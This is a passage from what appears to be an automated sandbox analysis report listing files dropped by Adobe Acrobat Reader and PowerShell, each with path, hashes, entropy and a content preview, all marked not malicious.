SHA1:	A8EC5D4D1576F40B1DB6B1A44BDA03B614ACD2FA
SHA-256:	908DD8CC04A8F6556DB7F37625CB6E7FFC4318D8B237DBBFF0AF55712D0A2CEA
SHA-512:	345F8473B7B600C45303D15F575A6CE04CC878D9EED84E41AF4E9809031A9C78F2004B4292DE9EF6F75936C0236374ACF71EA7287D6A6F5FCDDFFAB334326968
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.319526444649345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfQ1rPeUkwRe9:YvXKXFC8qsdTeOaGY16Ukee9
MD5:	347CD05FDA64D0C4A2457CC1920536A1
SHA1:	B15745B113B7217BDDEC89250A927BA42152ACD8
SHA-256:	7CD07705521F3DBF47E09B3F3D0021008E13F69845CA62950CC6A60212BE0737
SHA-512:	766A4C237D3BC7C91CAA8D45A31D005E4CA3E779AEA7E2F4019B54EC2285A62FEF58E3A4DEAFBF900741BE66600B1810DA05953BB415ED4F5B79DFA76DD19A99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.336765405690034
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfFldPeUkwRe9:YvXKXFC8qsdTeOaGz8Ukee9
MD5:	DE3848CA03D71F08C9EEE61307BE3AF2
SHA1:	EE4723663D55C575A7337D003073B0BC078F1DA9
SHA-256:	02B4AE46A9A221CBE7BD29A34AD039FC301D16375581A1821BBC2988755E3AC9
SHA-512:	0A37D23748037D442B94021403866B25CB6DF38C0BE1EA245838456295FDBF220772000B82C3B23968C1652A46E9D66CD41342F699108CF98BAF6FB1782F54B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.343678003203262
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfzdPeUkwRe9:YvXKXFC8qsdTeOaGb8Ukee9
MD5:	1B76980E517FEF6E4F4AA0A537E5F1B5
SHA1:	23112B600A96E465231FD20538CAA994620EF3F0
SHA-256:	EFC09A6827F1967B90CB7E9C5FC42F777F76147E53D6E33AA19683B2B8D5C845
SHA-512:	4CC059CECFC675DE7752246751A8C420F28E2B2ABD6B0A05C2A6BCC5667B966130F58DF2B211A5C1561FDF472A042FD5782A9154EFF6996B426F0C82E5B18B82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324220519800045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfYdPeUkwRe9:YvXKXFC8qsdTeOaGg8Ukee9
MD5:	321B7EB500D3F487E836415DB85A4B3A
SHA1:	C4797AF9755A8973208BF9331FFA3DA109CAFA04
SHA-256:	EEA3039C39C1FA8224290F6085E27F91CCB2D1D1402A483991F4EEA3A3E63BE1
SHA-512:	92D19208958807AF88D434662B63B4656AF2524477B301B7367A181D51DDB66361E9DE580546888E20EAE391BE458DEC173D96CAE18F83BAE6B58B168610E251
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.310996301152674
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJf+dPeUkwRe9:YvXKXFC8qsdTeOaG28Ukee9
MD5:	8639B876EDCE01D2C631950DCF11508A
SHA1:	DC956D6716B9BDB59E6BFC37972F39E2E1D7DAF8
SHA-256:	A92BE02F0A3CAD06D5070C696C2A742F2A0B263CA4D48C8BDB61E56B6787120E
SHA-512:	F6CEECE73B18E84472F5809B079C6AD7E6178F8C1CD1188A16C87B27E69E66E2EF9D8F9511E30AF3B08D57A8476BAB05116C8EC034AB69ABCB4EA38F090948FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.3076011534203
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfbPtdPeUkwRe9:YvXKXFC8qsdTeOaGDV8Ukee9
MD5:	EB970FBBAA0075348C9FCD4410F715A4
SHA1:	2AC24FDF5CBE2983B44F8425E942FE2633AF51D2
SHA-256:	12296B37AE9B18D1EACF7E6E403B05EA8D36CDF7CAB8BFEDC8F376AEC8D4ADC5
SHA-512:	9BCE8C285566DB1A9944E50E228716D6C771E98355F4B91E22BAED740D2C758F43C3ACF720A6F525D051E2F55FB124BEEF4964C0C9C1330BC6C01F72EB843D5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.311938104129875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJf21rPeUkwRe9:YvXKXFC8qsdTeOaG+16Ukee9
MD5:	1B3BC5F266A9EDD709BF07E5906D1326
SHA1:	3DA90D7F63FCC30117D7119B7A08411E29979594
SHA-256:	79B48DF0025420962E4BFCA25F52F0DFA69BBEF3509AC76055DE2758A0B8987A
SHA-512:	610631B17FFFEC6593364242BEF2563E988E9EB482349A1CA7BB1C6BA31B4A6D481AF5029648DAAF768B965ACDCB757140B9476FE836D48657314C3780E85B28
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665910585927559
Encrypted:	false
SSDEEP:	24:Yv6X1qmeOPamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSy:YvO5euBgkDMUJUAh8cvMy
MD5:	A2BD6EB2A84F2800D3B384BE57EEE28F
SHA1:	00357ABE8F004102D9B92B5C1388DF14A8A7B36C
SHA-256:	0BE54CCA3737959AD0A58E596BD89E688A481FA3821969D16D067DB682328A63
SHA-512:	E3E9CBBCCBAB128ADAFF3DE331AFEB236E8F60BBA0977E14612E21E8BD87DCF4E9E6ABADA8CE53AF33BE5F44589DD95FF2782A6ABD8410A13D5BDCB293E9F18A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.288314477487164
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJfshHHrPeUkwRe9:YvXKXFC8qsdTeOaGUUUkee9
MD5:	FA25C30FFA61EC5C9628C80A1E805400
SHA1:	C96B8CDB64DD80EB39194DDADB8161A7AF21E6AC
SHA-256:	DA0B32569370AF76EDB708ED68CCF3CFE85A6284135BD95E4B030449FD116676
SHA-512:	EAFC325487699731768A3817ACA25A85BB66B91CEECF188EB088BC33D58C7D21B19CA6530B2AD202D7B89C3507214D535A7412557D090C925EEDE3763E09AFD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.304188074110422
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFC8XeWWsGiIPEeOF0YloAvJTqgFCrPeUkwRe9:YvXKXFC8qsdTeOaGTq16Ukee9
MD5:	2E496527AB69C5FD4A034AC1BC7CA26F
SHA1:	A826FE48E1753BCA90011AEFFC735A7523A43040
SHA-256:	D383AF9EF046A117D9B6D7E6317E4B186A0DFD1DE8C60A88C22E8D4B553B905D
SHA-512:	D081A05B8D7CBF3ED78CE713F9B494597DE0838753AD0CBC2F7A3B470680FDD5E76BD45079C5C3D44AB585249B31AF27425125F8EB564D050178C748B5E29C32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9b287d70-7f9d-4527-95e8-cbfec2c7054c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736715668640,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138337688175589
Encrypted:	false
SSDEEP:	24:YGkauGaymMdEqgJ0IqmMvhDcAyzE7kMj8qvj0SQ6WJYke42yldE2LSaCWsMzNUTK:Y3XqgmIdehDVV7uJYwh3EYt/zNsnu9/z
MD5:	F49272A10237716BF5A37B0A3D2D5A2E
SHA1:	E2C5AC4544BD30A130C0CBB1C471603E8D4ECDFA
SHA-256:	70180C4CA7665BEC8EA2A7D158E8DC6A1AC0AD12618F05DB38BC7B10C1010330
SHA-512:	9BF0EAD05FBDC31F2DD084B8AD8526A2EAB20B59DCD5785C67D110D22741F9C76542DFA7811F607A8C1260D64B5B296013844A9CC8ADA381128A297FC87B68FF
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6c42cc8ac9e80afc2c2b2f9636ff04a3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736541608000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f7acd315a4d7e918d7406e0cc7cc1f87","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736541608000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"97ca6e85ada6fd76d9760bd3add1c0de","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736541608000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ed39ef893713971858f9ac07c27d7418","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736541608000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"859e5013c7e88daa6d64fd9acf512033","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736541608000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4bfbf015a4dc1136da4dfe0712c188d6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4534194923459933
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsK/l8j:lNVmsw3SHtbDbPe0K3+fDZds
MD5:	7EF41854218835006C68D977E13FE620
SHA1:	2A1261A73D6C68F5614975AD77FA49175D428F87
SHA-256:	29C7A208AEA15843E60AEB834C358EEDE21567E329BE4D26BD538AD37D585BFC
SHA-512:	04669B5FD8E9715D37049D00E0BEBF078B57B5F325A7C0CC6E43AEB7F9213C1F11A150CE3028C148F743C9002502B6E19F7082BE7E024489FCF4BC71D051A890
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9566734227265041
Encrypted:	false
SSDEEP:	48:7MurvrBd6dHtbGIbPe0K3+fDy2dsK2nqFl2GL7msC:7/3SHtbDbPe0K3+fDZd8KVmsC
MD5:	69AB56C1DCA9BCE6DC67CD92A7994DA3
SHA1:	960A1D5DB2900C641306D8A262419A6F8E1F0676
SHA-256:	045D777079F595BD5D37293585AFD05AFCFA89E2CCBF21DA924AE932248CEDFE
SHA-512:	D17A5152286231757E21F3A0945BE5B4E1EB69B6A3BD215ED20782288FAD5D773CB0A6522DCC3CAC6C7791091AB10FE52F7B34702F76C966133F554E6AB46F8E
Malicious:	false
Preview:	.... .c.....q.{.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg/vQTUOXS+cv5XsS2Gb7ku5K3IYyu:6a6TZ44ADE/vQTUoyv5X35mIK
MD5:	457197220422DB1778744079A33CD336
SHA1:	CD9F02E4288C2D449EFD63A89E73F4429EBAEA41
SHA-256:	59B2E6CC06CF35AA6C425794931975F5845A48613194C6917CB2821FCF6C3050
SHA-512:	DF53653BC619FC9ED7A2E80688997D709267B7AE2A9C8A0EF5D6BC06608AC5FA1758813019E49DE599CC057D6B4C9A88839CAF8103A2573E900C0E516C0D34B9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/suL:NllUku
MD5:	9092B0E83B8E62D6731409BD3B39C415
SHA1:	B602A92B2E62830E8B5183386F5C84D143DB72F9
SHA-256:	E531241B6310C4D003F9E6C6A25F9D0DC644D887C81B227C7B96CA29EC8F7416
SHA-512:	670AEFD1CEC191266C76AF22488D9F87556C8031CDA919A25843648DC5CD5D836551D4CC7556C7FAAF8FD6D423F88E998DBD87206AFA7342B3E839ACDD50EE92
Malicious:	false
Preview:	@...e.................................../............@..........

C:\Users\user\AppData\Local\Temp\MSId64d2.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE88le:Qw946cPbiOxDlbYnuRK+bDW
MD5:	EF89BCED35CC13E1672370DC359D300E
SHA1:	A4B486A1C1294F35BB580868C2044A993DD4A2D2
SHA-256:	45FB53825A3AFE38D83A9761B98AB67EE03BFAF503672044ED2975DF341F8D04
SHA-512:	1D30E14865577A7338CB34A524514579D123454D0F290866BFFB78F4B033AFEA53300B6E7FCAFAE6EE70597AB3D0172A360DCA4C20E1806038531836A300768D
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.4.0.:.0.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j4l5llm1.jtl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1u2n03q.n5t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91xfxtwm_emvsar_27k.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-40-01-511.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.321413712386501
